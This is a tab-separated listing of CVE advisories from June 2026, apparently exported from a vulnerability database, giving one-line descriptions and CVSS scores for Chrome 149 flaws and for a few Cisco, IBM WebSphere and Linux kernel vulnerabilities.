CVE-2026-10952	google - chrome	Use after free in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10954	google - chrome	Use after free in Actor in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10955	google - chrome	Type Confusion in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10956	google - chrome	Use after free in MimeHandlerView in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10957	google - chrome	Use after free in Glic in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10958	google - chrome	Use after free in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10959	google - chrome	Use after free in Input in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10962	google - chrome	Type Confusion in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10963	google - chrome	Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10964	google - chrome	Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10965	google - chrome	Integer overflow in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10975	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10978	google - chrome	Use after free in Chromoting in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10982	google - chrome	Use after free in WebXR in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10986	google - chrome	Integer overflow in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a malicious file. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10987	google - chrome	Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10988	google - chrome	Use after free in Views in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10989	google - chrome	Inappropriate implementation in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10991	google - chrome	Use after free in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8

CVE-2026-10995	google - chrome	Heap buffer overflow in TabStrip in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11000	google - chrome	Use after free in Fonts in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11003	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11024	google - chrome	Stack buffer overflow in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially exploit stack corruption via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11028	google - chrome	Use after free in Media in Google Chrome on Linux and ChromeOS prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11030	google - chrome	Use after free in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11041	google - chrome	Insufficient validation of untrusted input in Media in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11042	google - chrome	Use after free in Views in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11046	google - chrome	Insufficient validation of untrusted input in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11049	google - chrome	Use after free in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11050	google - chrome	Use after free in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11054	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11055	google - chrome	Use after free in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11059	google - chrome	Use after free in Blink in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11060	google - chrome	Use after free in Media in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11068	google - chrome	Use after free in WebSockets in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11071	google - chrome	Use after free in Base in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11074	google - chrome	Use after free in WebRTC in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11076	google - chrome	Type Confusion in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11077	google - chrome	Bad cast in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11079	google - chrome	Insufficient validation of untrusted input in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform an out of bounds memory write via a crafted video file. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11080	google - chrome	Use after free in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11085	google - chrome	Integer overflow in GPU in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11086	google - chrome	Inappropriate implementation in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11091	google - chrome	Inappropriate implementation in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11092	google - chrome	Insufficient policy enforcement in DevTools in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to perform privilege escalation via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11102	google - chrome	Inappropriate implementation in Isolated Web Apps in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a malicious file. (Chromium security severity: Medium)	2026-06-04	8.8

CVE-2026-11108	google - chrome	Inappropriate implementation in NFC in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform privilege escalation via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11116	google - chrome	Use after free in Chromoting in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11117	google - chrome	Use after free in Views in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11118	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11124	google - chrome	Integer overflow in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11125	google - chrome	Use after free in Compositing in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11130	google - chrome	Use after free in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11136	google - chrome	Use after free in Canvas in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11144	google - chrome	Use after free in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted video file. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11147	google - chrome	Use after free in WebML in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11164	google - chrome	Use after free in Blink in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11171	google - chrome	Integer overflow in Blink in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11172	google - chrome	Incorrect security UI in Contact Picker in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11173	google - chrome	Out of bounds write in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11175	google - chrome	Incorrect security UI in Messages in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11177	google - chrome	Use after free in Omnibox in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11179	google - chrome	Inappropriate implementation in ORB in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11188	google - chrome	Use after free in USB in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11191	google - chrome	Out of bounds memory access in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11201	google - chrome	Use after free in ServiceWorker in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11202	google - chrome	Inappropriate implementation in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11211	google - chrome	Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.8
CVE-2026-11230	google - chrome	Use after free in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	8.8
CVE-2026-11235	google - chrome	Insufficient policy enforcement in Compositing in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	8.8
CVE-2026-11248	google - chrome	Inappropriate implementation in Google Lens in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11262	google - chrome	Use after free in TabStrip in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11272	google - chrome	Insufficient validation of untrusted input in Reading List in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11279	google - chrome	Out of bounds read in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8.8

CVE-2026-11295	google - chrome	Inappropriate implementation in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11301	google - chrome	Inappropriate implementation in LiveCaption in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform out of bounds memory access via malicious network traffic. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11303	google - chrome	Use after free in PDFium in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11304	google - chrome	Use after free in PDFium in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11305	google - chrome	Use after free in PDFium in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11306	google - chrome	Use after free in PDFium in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-11307	google - chrome	Use after free in PDFium in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: Low)	2026-06-05	8.8
CVE-2026-20230	cisco - Cisco Unified Communications Manager	A vulnerability in Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an unauthenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device. This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root. Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root. Note: To exploit this vulnerability, the WebDialer service must be enabled. WebDialer is disabled by default.	2026-06-03	8.6
CVE-2026-46273	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: ibmveth: Disable GSO for packets with small MSS Some physical adapters on Power systems do not support segmentation offload when the MSS is less than 224 bytes. Attempting to send such packets causes the adapter to freeze, stopping all traffic until manually reset. Implement ndo_features_check to disable GSO for packets with small MSS values. The network stack will perform software segmentation instead. The 224-byte minimum matches ibmvnic commit <f10b09ef687f> ("ibmvnic: Enforce stronger sanity checks on GSO packets") which uses the same physical adapters in SEA configurations. The issue occurs specifically when the hardware attempts to perform segmentation (gso_segs > 1) with a small MSS. Single-segment GSO packets (gso_segs == 1) do not trigger the problematic LSO code path and are transmitted normally without segmentation. Add an ndo_features_check callback to disable GSO when MSS < 224 bytes. Also call vlan_features_check() to ensure proper handling of VLAN packets, particularly QinQ (802.1ad) configurations where the hardware parser may not support certain offload features. Validated using iptables to force small MSS values. Without the fix, the adapter freezes. With the fix, packets are segmented in software and transmission succeeds. Comprehensive regression testing completedd (MSS tests, performance, stability).	2026-06-03	8.6
CVE-2026-11158	google - chrome	Insufficient validation of untrusted input in Downloads in Google Chrome on Mac prior to 149.0.7827.53 allowed a local attacker to potentially perform a sandbox escape via a crafted AppleScript command. (Chromium security severity: Medium)	2026-06-04	8.6
CVE-2026-9330	ibm - multiple products	IBM WebSphere Application Server 9.0, and 8.5 is affected by an improper validation of user-supplied data during deserialization using the SAML Web Single Sign-On component. This could result in remote code execution via a crafted HTTP request when combined with a suitable gadget chain.	2026-06-01	8.5
CVE-2025-48595	google - multiple products	In multiple locations, there is a possible way to achieve code execution due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	8.4
CVE-2026-46251	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix block_group_tree dirty_list corruption When the incompat flag EXTENT_TREE_V2 is set, we unconditionally add the block group tree to the switch_commits list before calling switch_commit_roots, as we do for the tree root and the chunk root. However, the block group tree uses normal root dirty tracking and in any transaction that does an allocation and dirties a block group, the block	2026-06-03	8.4

		group root will already be linked to a list by the dirty_list field and this use of list_add_tail() is invalid and corrupts the prev/next members of block_group_root->dirty_list. This is apparent on a subsequent list_del on the prev if we enable CONFIG_DEBUG_LIST: [32.1571] ------------[cut here]------------ [32.1572] list_del corruption. next->prev should beffff958890202538, but was ffff9588992bd538. (next=ffff958890201538) [32.1575] WARNING: lib/list_debug.c:65 at 0x0, CPU#3: sync/607 [32.1583] CPU: 3 UID: 0 PID: 607 Comm: sync Not tainted 6.18.0 #24PREEMPT(none) [32.1585] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS1.17.0-4.fc41 04/01/2014 [32.1587] RIP: 0010:__list_del_entry_valid_or_report+0x108/0x120 [32.1593] RSP: 0018:ffffaa288287fdd0 EFLAGS: 00010202 [32.1594] RAX: 0000000000000001 RBX: ffff95889326e800 RCX:ffff958890201538 [32.1596] RDX: ffff9588992bd538 RSI: ffff958890202538 RDI:ffffffff82a41e00 [32.1597] RBP: ffff958890202538 R08: ffffffff828fc1e8 R09:00000000ffffefff [32.1599] R10: ffffffff8288c200 R11: ffffffff828e4200 R12:ffff958890201538 [32.1601] R13: ffff95889326e958 R14: ffff958895c24000 R15:ffff958890202538 [32.1603] FS: 00007f0c28eb5740(0000) GS:ffff958af2bd2000(0000)knlGS:0000000000000000 [32.1605] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [32.1607] CR2: 00007f0c28e8a3cc CR3: 0000000109942005 CR4:0000000000370ef0 [32.1609] Call Trace: [32.1610] <TASK> [32.1611] switch_commit_roots+0x82/0x1d0 [btrfs] [32.1615] btrfs_commit_transaction+0x968/0x1550 [btrfs] [32.1618] ? btrfs_attach_transaction_barrier+0x23/0x60 [btrfs] [32.1621] __iterate_supers+0xe8/0x190 [32.1622] ? __pfx_sync_fs_one_sb+0x10/0x10 [32.1623] ksys_sync+0x63/0xb0 [32.1624] __do_sys_sync+0xe/0x20 [32.1625] do_syscall_64+0x73/0x450 [32.1626] entry_SYSCALL_64_after_hwframe+0x76/0x7e [32.1627] RIP: 0033:0x7f0c28d05d2b [32.1632] RSP: 002b:00007ffc9d988048 EFLAGS: 00000246 ORIG_RAX:00000000000000a2 [32.1634] RAX: ffffffffffffffda RBX: 00007ffc9d988228 RCX:00007f0c28d05d2b [32.1636] RDX: 00007f0c28e02301 RSI: 00007ffc9d989b21 RDI:00007f0c28dba90d [32.1637] RBP: 0000000000000001 R08: 0000000000000001 R09:0000000000000000 [32.1639] R10: 0000000000000000 R11: 0000000000000246 R12:000055b96572cb80 [32.1641] R13: 000055b96572b19f R14: 00007f0c28dfa434 R15:000055b96572b034 [32.1643] </TASK> [32.1644] irq event stamp: 0 [32.1644] hardirqs last enabled at (0): [<0000000000000000>] 0x0 [32.1646] hardirqs last disabled at (0): [<ffffffff81298817>]copy_process+0xb37/0x2260 [32.1648] softirqs last enabled at (0): [<ffffffff81298817>]copy_process+0xb37/0x2260 [32.1650] softirqs last disabled at (0): [<0000000000000000>] 0x0 [32.1652] ---[end trace 0000000000000000]--- Furthermore, this list corruption eventually (when we happen to add a new block group) results in getting the switch_commits and dirty_cowonly_roots lists mixed up and attempting to call update_root on the tree root which can't be found in the tree root, resulting in a transaction abort: [87.8269] BTRFS critical (device nvme1n1): unable to find root key (1 0 0) in tree 1 [87.8272] ------------[cut here]------------ [87.8274] BTRFS: Transaction aborted (error -117) [87.8275] WARNING: fs/btrfs/root-tree.c:153 at 0x0, CPU#4: sync/703 [87.8285] CPU: 4 UID: 0 PID: 703 Comm: sync Not tainted 6.18.0 #25 PREEMPT(none) [87.8287] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-4.fc41 0 ---truncated---		
CVE-2026-46270	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: power: supply: rt9455: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during	2026-06-03	8.4

		`probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.		
CVE-2026-10884	google - chrome	Use after free in Chromecast in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.3
CVE-2026-10889	google - chrome	Out of bounds read in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.3
CVE-2026-10894	google - chrome	Use after free in Printing in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.3
CVE-2026-10898	google - chrome	Stack buffer overflow in GPU in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.3
CVE-2026-10905	google - chrome	Use after free in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10908	google - chrome	Use after free in FullScreen in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10909	google - chrome	Use after free in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10911	google - chrome	Insufficient validation of untrusted input in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10915	google - chrome	Use after free in Core in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10917	google - chrome	Insufficient validation of untrusted input in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10918	google - chrome	Use after free in Viz in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10919	google - chrome	Use after free in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10920	google - chrome	Insufficient validation of untrusted input in WebShare in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10921	google - chrome	Integer overflow in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10924	google - chrome	Integer overflow in Chromecast in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10925	google - chrome	Out of bounds write in Skia in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10927	google - chrome	Out of bounds read in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10929	google - chrome	Heap buffer overflow in ANGLE in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10933	google - chrome	Use after free in Audio in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10934	google - chrome	Use after free in Autofill in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10940	google - chrome	Race in Codecs in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10949	google - chrome	Heap buffer overflow in Video in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
